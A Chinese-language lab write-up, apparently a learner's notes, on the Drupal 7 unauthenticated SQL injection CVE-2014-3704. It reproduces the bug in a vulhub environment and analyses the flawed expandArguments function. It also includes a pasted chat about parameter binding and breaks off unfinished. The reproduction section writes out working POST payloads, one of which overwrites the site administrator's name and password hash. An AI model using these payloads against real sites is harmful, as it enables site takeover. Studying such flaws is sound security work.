一、漏洞簡介
Drupal 是一款用量龐大的CMS,其7.0~7.31版本中存在一處無需認證的SQL漏洞。通過該漏洞,攻擊者可以執行任意SQL語句,插入、修改管理員信息,甚至執行任意代碼。
受影響版本:
Drupal Drupal 7.6 Drupal Drupal 7.5 Drupal Drupal 7.4 Drupal Drupal 7.3 Drupal Drupal 7.2 Drupal Drupal 7.14 Drupal Drupal 7.13 Drupal D
二、漏洞復現
https://vulhub.org/#/environments/drupal/CVE-2014-3704/
搭建好了網站后,在首頁發送如下數據包
POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
name[0 ;update+users+set+name='admin'+,+pass+=+'$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s'+where+uid+%3d+'1';;# ]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in
三、漏洞原理分析
Drupalcore7.3之前7.x版本中的databaseabstractionAPI中‘expandArguments’函數存在安全漏洞,該漏洞源於程序沒有正確構造預處理語句。遠程攻擊者可借助帶有特制鍵的數組利用該漏洞實施SQL注入攻擊。
includes\database\database.inc
protected function expandArguments(&$query, &$args) { $modified = FALSE; foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { $new_keys[$key . '_' . $i] = $value; //例如$new_keys[name_01]=$value } $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
這段代碼是用來對傳入數據庫中的多個參數值進行預處理用的,因為Drupal對於SQL是會進行預編譯處理的(傳說中有效防止SQL注入的手段)。但是由於考慮不嚴,導致攻擊者可以通過構造數組,操控數組中的索引key,在預編譯之前破壞原有的SQL結構,造成SQL注入攻擊。
過程:
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
執行的sql語句為;SELECT * from users where name IN (:name_0, :name_1) //因為執行了$new_keys[$key.'_'.$i] = $value;這一句
通過參數傳入:通過參數傳入name_0= user1,name_1=user2
這里引入了字符串拼接,將SQL注入的風險帶入。原本它期待的數據是我們上面給出的那樣,但是試想,如果value數組的索引key我們用字符串,而不是數字呢?就像這樣:
array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
那$new_keys的索引就會變成“name_test — ”了,帶着這個問題我們接着看最關鍵的地方:
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
用剛剛生成的$new_key數組索引key引入到了預編譯SQL語句中,這樣的話SQL語句就會變成這樣:
SELECT * FROM users WHERE name = :name_test -- , :name_test
這里的關鍵要理解php中mysql參數綁定:
冰茶 11:24:01
SELECT * FROM users WHERE name = :name_test -- , :name_test
這個:有啥意思呢? 🥰 11:24:22 這個就是參數綁定的標志哦 意思mysql 看到這個語句的時候 就會知道 這個:name_test 需要替換 你要是去掉這個: mysql 就會認為這個name_test是一個字段 mysql 參數綁定 有兩種,一直是用? ,就像這種$sql = "SELECT * FROM table WHERE username = ? AND pwd = ?"; 冰茶 11:27:29 啊!嘿嘿,好的喲 還有一種就是:嘎 🥰 11:28:06 但是這種就只有挨個傳遞參數,不能一一對應, 所以就衍生了第二種, $sql = "SELECT * FROM table WHERE username = :name AND pwd = :pass"; 是的喲! 你可以先不用糾結這個代碼。 因為你不熟悉 不能太好的理解 可以先看看其他漏洞 這個漏洞能復現就好
還是有點搞不懂呢?未完待續
參考: